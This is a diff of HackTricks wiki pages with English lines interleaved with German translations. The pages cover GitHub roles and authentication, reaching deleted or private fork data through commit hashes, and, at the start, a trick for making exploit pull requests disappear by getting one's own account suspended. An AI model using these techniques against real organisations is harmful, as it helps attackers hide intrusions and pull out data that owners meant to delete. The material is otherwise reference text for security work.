(Technique from [**here**](https://divyanshu-mehta.gitbook.io/researchs/hijacking-cloud-ci-cd-systems-for-fun-and-profit)) First of all, any PR raised is clearly visible to the public in Github and to the target GitHub account. In GitHub by default, we **can’t delete a PR of the internet**, but there is a twist. For Github accounts that are **suspended** by Github, all of their **PRs are automatically deleted** and removed from the internet. So in order to hide your activity you need to either get your **GitHub account suspended or get your account flagged**. This would **hide all your activities** on GitHub from the internet (basically remove all your exploit PR)
|
||||
(Technik von [**hier**](https://divyanshu-mehta.gitbook.io/researchs/hijacking-cloud-ci-cd-systems-for-fun-and-profit)) Zunächst einmal ist jeder PR, der erstellt wird, für die Öffentlichkeit in Github und für das Ziel-GitHub-Konto deutlich sichtbar. In GitHub können wir standardmäßig **einen PR nicht aus dem Internet löschen**, aber es gibt einen Haken. Für GitHub-Konten, die von Github **gesperrt** sind, werden alle ihre **PRs automatisch gelöscht** und aus dem Internet entfernt. Um also Ihre Aktivitäten zu verbergen, müssen Sie entweder Ihr **GitHub-Konto sperren lassen oder Ihr Konto kennzeichnen lassen**. Dies würde **alle Ihre Aktivitäten** auf GitHub aus dem Internet verbergen (im Grunde alle Ihre Exploit-PRs entfernen).
|
||||
|
||||
An organization in GitHub is very proactive in reporting accounts to GitHub. All you need to do is share “some stuff” in Issue and they will make sure your account is suspended in 12 hours :p and there you have, made your exploit invisible on github.
|
||||
Eine Organisation in GitHub ist sehr proaktiv darin, Konten an GitHub zu melden. Alles, was Sie tun müssen, ist, „einige Dinge“ in einem Issue zu teilen, und sie werden sicherstellen, dass Ihr Konto in 12 Stunden gesperrt wird :p und da haben Sie es, Ihr Exploit ist auf GitHub unsichtbar gemacht.
|
||||
|
||||
> [!WARNING]
|
||||
> The only way for an organization to figure out they have been targeted is to check GitHub logs from SIEM since from GitHub UI the PR would be removed.
|
||||
> Der einzige Weg für eine Organisation herauszufinden, dass sie ins Visier genommen wurde, besteht darin, die GitHub-Protokolle von SIEM zu überprüfen, da der PR aus der GitHub-Benutzeroberfläche entfernt würde.
|
||||
|
||||
## Tools
|
||||
## Werkzeuge
|
||||
|
||||
The following tools are useful to find Github Action workflows and even find vulnerable ones:
|
||||
Die folgenden Werkzeuge sind nützlich, um Github Action-Workflows zu finden und sogar verwundbare zu finden:
|
||||
|
||||
- [https://github.com/CycodeLabs/raven](https://github.com/CycodeLabs/raven)
|
||||
- [https://github.com/praetorian-inc/gato](https://github.com/praetorian-inc/gato)
|
||||
@@ -579,7 +551,3 @@ The following tools are useful to find Github Action workflows and even find vul
|
||||
- [https://github.com/carlospolop/PurplePanda](https://github.com/carlospolop/PurplePanda)
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -1,6 +1 @@
|
||||
# Gh Actions - Artifact Poisoning
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -1,6 +1 @@
|
||||
# GH Actions - Cache Poisoning
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -1,6 +1 @@
|
||||
# Gh Actions - Context Script Injections
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
# Gh Actions - Kontext-Skript-Injektionen
|
||||
|
||||
@@ -1,60 +1,56 @@
|
||||
# Accessible Deleted Data in Github
|
||||
# Zugängliche Gelöschte Daten in Github
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
This ways to access data from Github that was supposedly deleted was [**reported in this blog post**](https://trufflesecurity.com/blog/anyone-can-access-deleted-and-private-repo-data-github).
|
||||
Diese Möglichkeiten, auf Daten von Github zuzugreifen, die angeblich gelöscht wurden, wurden [**in diesem Blogbeitrag berichtet**](https://trufflesecurity.com/blog/anyone-can-access-deleted-and-private-repo-data-github).
|
||||
|
||||
## Accessing Deleted Fork Data
|
||||
## Zugriff auf Gelöschte Fork-Daten
|
||||
|
||||
1. You fork a public repository
|
||||
2. You commit code to your fork
|
||||
3. You delete your fork
|
||||
1. Du forkt ein öffentliches Repository.
|
||||
2. Du commitest Code zu deinem Fork.
|
||||
3. Du löschst deinen Fork.
|
||||
|
||||
> [!CAUTION]
|
||||
> The data commited in the deleted fork is still accessible.
|
||||
> Die in dem gelöschten Fork committen Daten sind weiterhin zugänglich.
|
||||
|
||||
## Accessing Deleted Repo Data
|
||||
## Zugriff auf Gelöschte Repo-Daten
|
||||
|
||||
1. You have a public repo on GitHub.
|
||||
2. A user forks your repo.
|
||||
3. You commit data after they fork it (and they never sync their fork with your updates).
|
||||
4. You delete the entire repo.
|
||||
1. Du hast ein öffentliches Repo auf GitHub.
|
||||
2. Ein Benutzer forkt dein Repo.
|
||||
3. Du commitest Daten, nachdem sie es geforkt haben (und sie synchronisieren ihren Fork nie mit deinen Updates).
|
||||
4. Du löschst das gesamte Repo.
|
||||
|
||||
> [!CAUTION]
|
||||
> Even if you deleted your repo, all the changes made to it are still accessible through the forks.
|
||||
> Selbst wenn du dein Repo gelöscht hast, sind alle Änderungen, die daran vorgenommen wurden, weiterhin über die Forks zugänglich.
|
||||
|
||||
## Accessing Private Repo Data
|
||||
## Zugriff auf Private Repo-Daten
|
||||
|
||||
1. You create a private repo that will eventually be made public.
|
||||
2. You create a private, internal version of that repo (via forking) and commit additional code for features that you’re not going to make public.
|
||||
3. You make your “upstream” repository public and keep your fork private.
|
||||
1. Du erstellst ein privates Repo, das schließlich öffentlich gemacht wird.
|
||||
2. Du erstellst eine private, interne Version dieses Repos (durch Forking) und commitest zusätzlichen Code für Funktionen, die du nicht öffentlich machen möchtest.
|
||||
3. Du machst dein „Upstream“-Repository öffentlich und hältst deinen Fork privat.
|
||||
|
||||
> [!CAUTION]
|
||||
> It's possible to access al the data pushed to the internal fork in the time between the internal fork was created and the public version was made public.
|
||||
> Es ist möglich, auf alle Daten zuzugreifen, die in den internen Fork gepusht wurden, in der Zeit zwischen der Erstellung des internen Forks und der Veröffentlichung der öffentlichen Version.
|
||||
|
||||
## How to discover commits from deleted/hidden forks
|
||||
## Wie man Commits von gelöschten/verborgenen Forks entdeckt
|
||||
|
||||
The same blog post propose 2 options:
|
||||
Der gleiche Blogbeitrag schlägt 2 Optionen vor:
|
||||
|
||||
### Directly accessing the commit
|
||||
### Direkt auf den Commit zugreifen
|
||||
|
||||
If the commit ID (sha-1) value is known it's possible to access it in `https://github.com/<user/org>/<repo>/commit/<commit_hash>`
|
||||
Wenn der Commit-ID (sha-1) Wert bekannt ist, ist es möglich, ihn unter `https://github.com/<user/org>/<repo>/commit/<commit_hash>` zuzugreifen.
|
||||
|
||||
### Brute-forcing short SHA-1 values
|
||||
### Brute-Forcing kurzer SHA-1-Werte
|
||||
|
||||
It's the same to access both of these:
|
||||
Es ist dasselbe, um auf beide zuzugreifen:
|
||||
|
||||
- [https://github.com/HackTricks-wiki/hacktricks/commit/8cf94635c266ca5618a9f4da65ea92c04bee9a14](https://github.com/HackTricks-wiki/hacktricks/commit/8cf94635c266ca5618a9f4da65ea92c04bee9a14)
|
||||
- [https://github.com/HackTricks-wiki/hacktricks/commit/8cf9463](https://github.com/HackTricks-wiki/hacktricks/commit/8cf9463)
|
||||
|
||||
And the latest one use a short sha-1 that is bruteforceable.
|
||||
Und der letzte verwendet einen kurzen sha-1, der bruteforcebar ist.
|
||||
|
||||
## References
|
||||
## Referenzen
|
||||
|
||||
- [https://trufflesecurity.com/blog/anyone-can-access-deleted-and-private-repo-data-github](https://trufflesecurity.com/blog/anyone-can-access-deleted-and-private-repo-data-github)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -1,194 +1,188 @@
|
||||
# Basic Github Information
|
||||
# Grundlegende Github-Informationen
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## Basic Structure
|
||||
## Grundstruktur
|
||||
|
||||
The basic github environment structure of a big **company** is to own an **enterprise** which owns **several organizations** and each of them may contain **several repositories** and **several teams.**. Smaller companies may just **own one organization and no enterprises**.
|
||||
Die grundlegende Github-Umgebungsstruktur eines großen **Unternehmens** besteht darin, ein **Unternehmen** zu besitzen, das **mehrere Organisationen** besitzt, und jede von ihnen kann **mehrere Repositories** und **mehrere Teams** enthalten. Kleinere Unternehmen besitzen möglicherweise nur **eine Organisation und keine Unternehmen**.
|
||||
|
||||
From a user point of view a **user** can be a **member** of **different enterprises and organizations**. Within them the user may have **different enterprise, organization and repository roles**.
|
||||
Aus der Sicht eines Benutzers kann ein **Benutzer** ein **Mitglied** von **verschiedenen Unternehmen und Organisationen** sein. Innerhalb dieser kann der Benutzer **verschiedene Rollen in Unternehmen, Organisationen und Repositories** haben.
|
||||
|
||||
Moreover, a user may be **part of different teams** with different enterprise, organization or repository roles.
|
||||
Darüber hinaus kann ein Benutzer **Teil verschiedener Teams** mit unterschiedlichen Rollen in Unternehmen, Organisationen oder Repositories sein.
|
||||
|
||||
And finally **repositories may have special protection mechanisms**.
|
||||
Und schließlich können **Repositories spezielle Schutzmechanismen** haben.
|
||||
|
||||
## Privileges
|
||||
## Berechtigungen
|
||||
|
||||
### Enterprise Roles
|
||||
### Unternehmensrollen
|
||||
|
||||
- **Enterprise owner**: People with this role can **manage administrators, manage organizations within the enterprise, manage enterprise settings, enforce policy across organizations**. However, they **cannot access organization settings or content** unless they are made an organization owner or given direct access to an organization-owned repository
|
||||
- **Enterprise members**: Members of organizations owned by your enterprise are also **automatically members of the enterprise**.
|
||||
- **Unternehmensinhaber**: Personen mit dieser Rolle können **Administratoren verwalten, Organisationen innerhalb des Unternehmens verwalten, Unternehmenseinstellungen verwalten, Richtlinien über Organisationen durchsetzen**. Sie **können jedoch nicht auf die Einstellungen oder Inhalte der Organisation zugreifen**, es sei denn, sie werden zum Organisationsinhaber ernannt oder erhalten direkten Zugriff auf ein von der Organisation besessenes Repository.
|
||||
- **Unternehmensmitglieder**: Mitglieder von Organisationen, die von Ihrem Unternehmen besessen werden, sind ebenfalls **automatisch Mitglieder des Unternehmens**.
|
||||
|
||||
### Organization Roles
|
||||
### Organisationsrollen
|
||||
|
||||
In an organisation users can have different roles:
|
||||
In einer Organisation können Benutzer verschiedene Rollen haben:
|
||||
|
||||
- **Organization owners**: Organization owners have **complete administrative access to your organization**. This role should be limited, but to no less than two people, in your organization.
|
||||
- **Organization members**: The **default**, non-administrative role for **people in an organization** is the organization member. By default, organization members **have a number of permissions**.
|
||||
- **Billing managers**: Billing managers are users who can **manage the billing settings for your organization**, such as payment information.
|
||||
- **Security Managers**: It's a role that organization owners can assign to any team in an organization. When applied, it gives every member of the team permissions to **manage security alerts and settings across your organization, as well as read permissions for all repositories** in the organization.
|
||||
- If your organization has a security team, you can use the security manager role to give members of the team the least access they need to the organization.
|
||||
- **Github App managers**: To allow additional users to **manage GitHub Apps owned by an organization**, an owner can grant them GitHub App manager permissions.
|
||||
- **Outside collaborators**: An outside collaborator is a person who has **access to one or more organization repositories but is not explicitly a member** of the organization.
|
||||
- **Organisationsinhaber**: Organisationsinhaber haben **vollständigen administrativen Zugriff auf Ihre Organisation**. Diese Rolle sollte begrenzt sein, jedoch auf nicht weniger als zwei Personen in Ihrer Organisation.
|
||||
- **Organisationsmitglieder**: Die **Standard**-Nicht-Administrationsrolle für **Personen in einer Organisation** ist das Organisationsmitglied. Standardmäßig haben Organisationsmitglieder **eine Reihe von Berechtigungen**.
|
||||
- **Abrechnungsmanager**: Abrechnungsmanager sind Benutzer, die **die Abrechnungseinstellungen für Ihre Organisation verwalten** können, wie z. B. Zahlungsinformationen.
|
||||
- **Sicherheitsmanager**: Es ist eine Rolle, die Organisationsinhaber einem Team in einer Organisation zuweisen können. Wenn sie angewendet wird, gibt sie jedem Mitglied des Teams Berechtigungen, um **Sicherheitswarnungen und -einstellungen in Ihrer Organisation zu verwalten sowie Lesezugriff auf alle Repositories** in der Organisation zu haben.
|
||||
- Wenn Ihre Organisation ein Sicherheitsteam hat, können Sie die Rolle des Sicherheitsmanagers verwenden, um den Mitgliedern des Teams den minimalen Zugriff zu gewähren, den sie für die Organisation benötigen.
|
||||
- **Github-App-Manager**: Um zusätzlichen Benutzern zu ermöglichen, **GitHub-Apps zu verwalten, die von einer Organisation besessen werden**, kann ein Eigentümer ihnen Berechtigungen als GitHub-App-Manager gewähren.
|
||||
- **Externe Mitarbeiter**: Ein externer Mitarbeiter ist eine Person, die **Zugriff auf eines oder mehrere Repositories der Organisation hat, aber nicht ausdrücklich Mitglied** der Organisation ist.
|
||||
|
||||
You can **compare the permissions** of these roles in this table: [https://docs.github.com/en/organizations/managing-peoples-access-to-your-organization-with-roles/roles-in-an-organization#permissions-for-organization-roles](https://docs.github.com/en/organizations/managing-peoples-access-to-your-organization-with-roles/roles-in-an-organization#permissions-for-organization-roles)
|
||||
Sie können **die Berechtigungen** dieser Rollen in dieser Tabelle vergleichen: [https://docs.github.com/en/organizations/managing-peoples-access-to-your-organization-with-roles/roles-in-an-organization#permissions-for-organization-roles](https://docs.github.com/en/organizations/managing-peoples-access-to-your-organization-with-roles/roles-in-an-organization#permissions-for-organization-roles)
|
||||
|
||||
### Members Privileges
|
||||
### Mitgliederberechtigungen
|
||||
|
||||
In _https://github.com/organizations/\<org_name>/settings/member_privileges_ you can see the **permissions users will have just for being part of the organisation**.
|
||||
In _https://github.com/organizations/\<org_name>/settings/member_privileges_ können Sie die **Berechtigungen sehen, die Benutzer nur durch ihre Mitgliedschaft in der Organisation haben**.
|
||||
|
||||
The settings here configured will indicate the following permissions of members of the organisation:
|
||||
Die hier konfigurierten Einstellungen geben die folgenden Berechtigungen der Mitglieder der Organisation an:
|
||||
|
||||
- Be admin, writer, reader or no permission over all the organisation repos.
|
||||
- If members can create private, internal or public repositories.
|
||||
- If forking of repositories is possible
|
||||
- If it's possible to invite outside collaborators
|
||||
- If public or private sites can be published
|
||||
- The permissions admins has over the repositories
|
||||
- If members can create new teams
|
||||
- Administrator, Autor, Leser oder keine Berechtigung für alle Repositories der Organisation sein.
|
||||
- Ob Mitglieder private, interne oder öffentliche Repositories erstellen können.
|
||||
- Ob das Forken von Repositories möglich ist.
|
||||
- Ob externe Mitarbeiter eingeladen werden können.
|
||||
- Ob öffentliche oder private Seiten veröffentlicht werden können.
|
||||
- Die Berechtigungen, die Administratoren über die Repositories haben.
|
||||
- Ob Mitglieder neue Teams erstellen können.
|
||||
|
||||
### Repository Roles
|
||||
### Repository-Rollen
|
||||
|
||||
By default repository roles are created:
|
||||
Standardmäßig werden Repository-Rollen erstellt:
|
||||
|
||||
- **Read**: Recommended for **non-code contributors** who want to view or discuss your project
|
||||
- **Triage**: Recommended for **contributors who need to proactively manage issues and pull requests** without write access
|
||||
- **Write**: Recommended for contributors who **actively push to your project**
|
||||
- **Maintain**: Recommended for **project managers who need to manage the repository** without access to sensitive or destructive actions
|
||||
- **Admin**: Recommended for people who need **full access to the project**, including sensitive and destructive actions like managing security or deleting a repository
|
||||
- **Lesen**: Empfohlen für **Nicht-Code-Beitragsleistende**, die Ihr Projekt ansehen oder diskutieren möchten.
|
||||
- **Triage**: Empfohlen für **Beitragsleistende, die Probleme und Pull-Requests proaktiv verwalten müssen**, ohne Schreibzugriff zu haben.
|
||||
- **Schreiben**: Empfohlen für Beitragsleistende, die **aktiv zu Ihrem Projekt beitragen**.
|
||||
- **Wartung**: Empfohlen für **Projektmanager, die das Repository verwalten müssen**, ohne Zugriff auf sensible oder destruktive Aktionen zu haben.
|
||||
- **Admin**: Empfohlen für Personen, die **vollständigen Zugriff auf das Projekt** benötigen, einschließlich sensibler und destruktiver Aktionen wie das Verwalten von Sicherheit oder das Löschen eines Repositories.
|
||||
|
||||
You can **compare the permissions** of each role in this table [https://docs.github.com/en/organizations/managing-access-to-your-organizations-repositories/repository-roles-for-an-organization#permissions-for-each-role](https://docs.github.com/en/organizations/managing-access-to-your-organizations-repositories/repository-roles-for-an-organization#permissions-for-each-role)
|
||||
Sie können **die Berechtigungen** jeder Rolle in dieser Tabelle vergleichen [https://docs.github.com/en/organizations/managing-access-to-your-organizations-repositories/repository-roles-for-an-organization#permissions-for-each-role](https://docs.github.com/en/organizations/managing-access-to-your-organizations-repositories/repository-roles-for-an-organization#permissions-for-each-role)
|
||||
|
||||
You can also **create your own roles** in _https://github.com/organizations/\<org_name>/settings/roles_
|
||||
Sie können auch **Ihre eigenen Rollen erstellen** in _https://github.com/organizations/\<org_name>/settings/roles_
|
||||
|
||||
### Teams
|
||||
|
||||
You can **list the teams created in an organization** in _https://github.com/orgs/\<org_name>/teams_. Note that to see the teams which are children of other teams you need to access each parent team.
|
||||
Sie können **die in einer Organisation erstellten Teams auflisten** in _https://github.com/orgs/\<org_name>/teams_. Beachten Sie, dass Sie, um die Teams zu sehen, die Kinder anderer Teams sind, auf jedes übergeordnete Team zugreifen müssen.
|
||||
|
||||
### Users
|
||||
### Benutzer
|
||||
|
||||
The users of an organization can be **listed** in _https://github.com/orgs/\<org_name>/people._
|
||||
Die Benutzer einer Organisation können in _https://github.com/orgs/\<org_name>/people_ **aufgelistet** werden.
|
||||
|
||||
In the information of each user you can see the **teams the user is member of**, and the **repos the user has access to**.
|
||||
In den Informationen jedes Benutzers können Sie die **Teams sehen, in denen der Benutzer Mitglied ist**, und die **Repos, auf die der Benutzer Zugriff hat**.
|
||||
|
||||
## Github Authentication
|
||||
## Github-Authentifizierung
|
||||
|
||||
Github offers different ways to authenticate to your account and perform actions on your behalf.
|
||||
Github bietet verschiedene Möglichkeiten, sich bei Ihrem Konto zu authentifizieren und Aktionen in Ihrem Namen auszuführen.
|
||||
|
||||
### Web Access
|
||||
### Webzugang
|
||||
|
||||
Accessing **github.com** you can login using your **username and password** (and a **2FA potentially**).
|
||||
Durch den Zugriff auf **github.com** können Sie sich mit Ihrem **Benutzernamen und Passwort** (und möglicherweise einer **2FA**) anmelden.
|
||||
|
||||
### **SSH Keys**
|
||||
### **SSH-Schlüssel**
|
||||
|
||||
You can configure your account with one or several public keys allowing the related **private key to perform actions on your behalf.** [https://github.com/settings/keys](https://github.com/settings/keys)
|
||||
Sie können Ihr Konto mit einem oder mehreren öffentlichen Schlüsseln konfigurieren, die es dem zugehörigen **privaten Schlüssel ermöglichen, Aktionen in Ihrem Namen auszuführen.** [https://github.com/settings/keys](https://github.com/settings/keys)
|
||||
|
||||
#### **GPG Keys**
|
||||
#### **GPG-Schlüssel**
|
||||
|
||||
You **cannot impersonate the user with these keys** but if you don't use it it might be possible that you **get discover for sending commits without a signature**. Learn more about [vigilant mode here](https://docs.github.com/en/authentication/managing-commit-signature-verification/displaying-verification-statuses-for-all-of-your-commits#about-vigilant-mode).
|
||||
Sie **können den Benutzer mit diesen Schlüsseln nicht impersonifizieren**, aber wenn Sie ihn nicht verwenden, könnte es möglich sein, dass Sie **entdeckt werden, weil Sie Commits ohne eine Signatur senden**. Erfahren Sie mehr über [vigilante Modus hier](https://docs.github.com/en/authentication/managing-commit-signature-verification/displaying-verification-statuses-for-all-of-your-commits#about-vigilant-mode).
|
||||
|
||||
### **Personal Access Tokens**
|
||||
### **Persönliche Zugriffstoken**
|
||||
|
||||
You can generate personal access token to **give an application access to your account**. When creating a personal access token the **user** needs to **specify** the **permissions** to **token** will have. [https://github.com/settings/tokens](https://github.com/settings/tokens)
|
||||
Sie können persönliche Zugriffstoken generieren, um **einer Anwendung Zugriff auf Ihr Konto zu gewähren**. Bei der Erstellung eines persönlichen Zugriffstokens muss der **Benutzer** die **Berechtigungen** angeben, die das **Token** haben wird. [https://github.com/settings/tokens](https://github.com/settings/tokens)
|
||||
|
||||
### Oauth Applications
|
||||
### Oauth-Anwendungen
|
||||
|
||||
Oauth applications may ask you for permissions **to access part of your github information or to impersonate you** to perform some actions. A common example of this functionality is the **login with github button** you might find in some platforms.
|
||||
Oauth-Anwendungen können Sie um Berechtigungen **bitten, um auf Teile Ihrer Github-Informationen zuzugreifen oder Sie zu impersonifizieren**, um einige Aktionen auszuführen. Ein häufiges Beispiel für diese Funktionalität ist die **Login mit Github-Schaltfläche**, die Sie möglicherweise auf einigen Plattformen finden.
|
||||
|
||||
- You can **create** your own **Oauth applications** in [https://github.com/settings/developers](https://github.com/settings/developers)
|
||||
- You can see all the **Oauth applications that has access to your account** in [https://github.com/settings/applications](https://github.com/settings/applications)
|
||||
- You can see the **scopes that Oauth Apps can ask for** in [https://docs.github.com/en/developers/apps/building-oauth-apps/scopes-for-oauth-apps](https://docs.github.com/en/developers/apps/building-oauth-apps/scopes-for-oauth-apps)
|
||||
- You can see third party access of applications in an **organization** in _https://github.com/organizations/\<org_name>/settings/oauth_application_policy_
|
||||
- Sie können **Ihre eigenen Oauth-Anwendungen** in [https://github.com/settings/developers](https://github.com/settings/developers) erstellen.
|
||||
- Sie können alle **Oauth-Anwendungen sehen, die Zugriff auf Ihr Konto haben** in [https://github.com/settings/applications](https://github.com/settings/applications).
|
||||
- Sie können die **Scopes sehen, die Oauth-Apps anfordern können** in [https://docs.github.com/en/developers/apps/building-oauth-apps/scopes-for-oauth-apps](https://docs.github.com/en/developers/apps/building-oauth-apps/scopes-for-oauth-apps).
|
||||
- Sie können den Zugriff von Drittanwendungen auf Anwendungen in einer **Organisation** in _https://github.com/organizations/\<org_name>/settings/oauth_application_policy_ sehen.
|
||||
|
||||
Some **security recommendations**:
|
||||
Einige **Sicherheitsempfehlungen**:
|
||||
|
||||
- An **OAuth App** should always **act as the authenticated GitHub user across all of GitHub** (for example, when providing user notifications) and with access only to the specified scopes..
|
||||
- An OAuth App can be used as an identity provider by enabling a "Login with GitHub" for the authenticated user.
|
||||
- **Don't** build an **OAuth App** if you want your application to act on a **single repository**. With the `repo` OAuth scope, OAuth Apps can **act on \_all**\_\*\* of the authenticated user's repositorie\*\*s.
|
||||
- **Don't** build an OAuth App to act as an application for your **team or company**. OAuth Apps authenticate as a **single user**, so if one person creates an OAuth App for a company to use, and then they leave the company, no one else will have access to it.
|
||||
- **More** in [here](https://docs.github.com/en/developers/apps/getting-started-with-apps/about-apps#about-oauth-apps).
|
||||
- Eine **OAuth-App** sollte immer **als authentifizierter GitHub-Benutzer über das gesamte GitHub** hinweg agieren (zum Beispiel, wenn Benutzerbenachrichtigungen bereitgestellt werden) und nur Zugriff auf die angegebenen Scopes haben.
|
||||
- Eine OAuth-App kann als Identitätsanbieter verwendet werden, indem ein "Login mit GitHub" für den authentifizierten Benutzer aktiviert wird.
|
||||
- **Bauen Sie keine OAuth-App**, wenn Sie möchten, dass Ihre Anwendung auf ein **einzelnes Repository** zugreift. Mit dem `repo` OAuth-Scope können OAuth-Apps **auf \_allen**\_\*\* Repositories des authentifizierten Benutzers zugreifen\*\*.
|
||||
- **Bauen Sie keine OAuth-App**, um als Anwendung für Ihr **Team oder Unternehmen** zu agieren. OAuth-Apps authentifizieren sich als **einzelner Benutzer**, sodass, wenn eine Person eine OAuth-App für ein Unternehmen erstellt, und dann das Unternehmen verlässt, niemand sonst Zugriff darauf hat.
|
||||
- **Mehr** dazu [hier](https://docs.github.com/en/developers/apps/getting-started-with-apps/about-apps#about-oauth-apps).
|
||||
|
||||
### Github Applications
|
||||
### Github-Anwendungen
|
||||
|
||||
Github applications can ask for permissions to **access your github information or impersonate you** to perform specific actions over specific resources. In Github Apps you need to specify the repositories the app will have access to.
|
||||
Github-Anwendungen können um Berechtigungen bitten, um **auf Ihre Github-Informationen zuzugreifen oder Sie zu impersonifizieren**, um spezifische Aktionen über spezifische Ressourcen auszuführen. In Github-Apps müssen Sie die Repositories angeben, auf die die App Zugriff haben wird.
|
||||
|
||||
- To install a GitHub App, you must be an **organisation owner or have admin permissions** in a repository.
|
||||
- The GitHub App should **connect to a personal account or an organisation**.
|
||||
- You can create your own Github application in [https://github.com/settings/apps](https://github.com/settings/apps)
|
||||
- You can see all the **Github applications that has access to your account** in [https://github.com/settings/apps/authorizations](https://github.com/settings/apps/authorizations)
|
||||
- These are the **API Endpoints for Github Applications** [https://docs.github.com/en/rest/overview/endpoints-available-for-github-app](https://docs.github.com/en/rest/overview/endpoints-available-for-github-apps). Depending on the permissions of the App it will be able to access some of them
|
||||
- You can see installed apps in an **organization** in _https://github.com/organizations/\<org_name>/settings/installations_
|
||||
- Um eine GitHub-App zu installieren, müssen Sie **Organisationsinhaber oder über Administratorberechtigungen** in einem Repository verfügen.
|
||||
- Die GitHub-App sollte **mit einem persönlichen Konto oder einer Organisation** verbunden sein.
|
||||
- Sie können Ihre eigene Github-Anwendung in [https://github.com/settings/apps](https://github.com/settings/apps) erstellen.
|
||||
- Sie können alle **Github-Anwendungen sehen, die Zugriff auf Ihr Konto haben** in [https://github.com/settings/apps/authorizations](https://github.com/settings/apps/authorizations).
|
||||
- Dies sind die **API-Endpunkte für Github-Anwendungen** [https://docs.github.com/en/rest/overview/endpoints-available-for-github-app](https://docs.github.com/en/rest/overview/endpoints-available-for-github-apps). Je nach den Berechtigungen der App kann sie auf einige von ihnen zugreifen.
|
||||
- Sie können installierte Apps in einer **Organisation** in _https://github.com/organizations/\<org_name>/settings/installations_ sehen.
|
||||
|
||||
Some security recommendations:
|
||||
Einige Sicherheitsempfehlungen:
|
||||
|
||||
- A GitHub App should **take actions independent of a user** (unless the app is using a [user-to-server](https://docs.github.com/en/apps/building-github-apps/identifying-and-authorizing-users-for-github-apps#user-to-server-requests) token). To keep user-to-server access tokens more secure, you can use access tokens that will expire after 8 hours, and a refresh token that can be exchanged for a new access token. For more information, see "[Refreshing user-to-server access tokens](https://docs.github.com/en/apps/building-github-apps/refreshing-user-to-server-access-tokens)."
|
||||
- Make sure the GitHub App integrates with **specific repositories**.
|
||||
- The GitHub App should **connect to a personal account or an organisation**.
|
||||
- Don't expect the GitHub App to know and do everything a user can.
|
||||
- **Don't use a GitHub App if you just need a "Login with GitHub" service**. But a GitHub App can use a [user identification flow](https://docs.github.com/en/apps/building-github-apps/identifying-and-authorizing-users-for-github-apps) to log users in _and_ do other things.
|
||||
- Don't build a GitHub App if you _only_ want to act as a GitHub user and do everything that user can do.
|
||||
- If you are using your app with GitHub Actions and want to modify workflow files, you must authenticate on behalf of the user with an OAuth token that includes the `workflow` scope. The user must have admin or write permission to the repository that contains the workflow file. For more information, see "[Understanding scopes for OAuth apps](https://docs.github.com/en/apps/building-oauth-apps/understanding-scopes-for-oauth-apps/#available-scopes)."
|
||||
- **More** in [here](https://docs.github.com/en/developers/apps/getting-started-with-apps/about-apps#about-github-apps).
|
||||
- Eine GitHub-App sollte **unabhängig von einem Benutzer handeln** (es sei denn, die App verwendet ein [User-to-Server](https://docs.github.com/en/apps/building-github-apps/identifying-and-authorizing-users-for-github-apps#user-to-server-requests) Token). Um die Sicherheit von User-to-Server-Zugriffstoken zu erhöhen, können Sie Zugriffstoken verwenden, die nach 8 Stunden ablaufen, und ein Refresh-Token, das gegen ein neues Zugriffstoken eingetauscht werden kann. Weitere Informationen finden Sie unter "[Aktualisieren von User-to-Server-Zugriffstoken](https://docs.github.com/en/apps/building-github-apps/refreshing-user-to-server-access-tokens)."
|
||||
- Stellen Sie sicher, dass die GitHub-App mit **bestimmten Repositories** integriert ist.
|
||||
- Die GitHub-App sollte **mit einem persönlichen Konto oder einer Organisation** verbunden sein.
|
||||
- Erwarten Sie nicht, dass die GitHub-App alles weiß und tut, was ein Benutzer kann.
|
||||
- **Verwenden Sie keine GitHub-App, wenn Sie nur einen "Login mit GitHub"-Dienst benötigen**. Aber eine GitHub-App kann einen [Benutzeridentifikationsfluss](https://docs.github.com/en/apps/building-github-apps/identifying-and-authorizing-users-for-github-apps) verwenden, um Benutzer einzuloggen _und_ andere Dinge zu tun.
|
||||
- Bauen Sie keine GitHub-App, wenn Sie _nur_ als GitHub-Benutzer agieren und alles tun möchten, was dieser Benutzer tun kann.
|
||||
- Wenn Sie Ihre App mit GitHub Actions verwenden und Workflow-Dateien ändern möchten, müssen Sie sich im Namen des Benutzers mit einem OAuth-Token authentifizieren, das den `workflow`-Scope enthält. Der Benutzer muss über Administrator- oder Schreibberechtigungen für das Repository verfügen, das die Workflow-Datei enthält. Weitere Informationen finden Sie unter "[Verstehen von Scopes für OAuth-Apps](https://docs.github.com/en/apps/building-oauth-apps/understanding-scopes-for-oauth-apps/#available-scopes)."
|
||||
- **Mehr** dazu [hier](https://docs.github.com/en/developers/apps/getting-started-with-apps/about-apps#about-github-apps).
|
||||
|
||||
### Github Actions
|
||||
|
||||
This **isn't a way to authenticate in github**, but a **malicious** Github Action could get **unauthorised access to github** and **depending** on the **privileges** given to the Action several **different attacks** could be done. See below for more information.
|
||||
Dies **ist kein Weg, um sich bei Github zu authentifizieren**, aber eine **bösartige** Github Action könnte **unbefugten Zugriff auf Github** erhalten und **je nach** den **Berechtigungen**, die der Action gegeben wurden, könnten mehrere **verschiedene Angriffe** durchgeführt werden. Siehe unten für weitere Informationen.
|
||||
|
||||
## Git Actions
|
||||
## Git-Aktionen
|
||||
|
||||
Git actions allows to automate the **execution of code when an event happen**. Usually the code executed is **somehow related to the code of the repository** (maybe build a docker container or check that the PR doesn't contain secrets).
|
||||
Git-Aktionen ermöglichen es, die **Ausführung von Code zu automatisieren, wenn ein Ereignis eintritt**. In der Regel ist der ausgeführte Code **irgendwie mit dem Code des Repositories** verbunden (vielleicht einen Docker-Container bauen oder überprüfen, ob der PR keine Geheimnisse enthält).
|
||||
|
||||
### Configuration
|
||||
### Konfiguration
|
||||
|
||||
In _https://github.com/organizations/\<org_name>/settings/actions_ it's possible to check the **configuration of the github actions** for the organization.
|
||||
In _https://github.com/organizations/\<org_name>/settings/actions_ ist es möglich, die **Konfiguration der Github-Aktionen** für die Organisation zu überprüfen.
|
||||
|
||||
It's possible to disallow the use of github actions completely, **allow all github actions**, or just allow certain actions.
|
||||
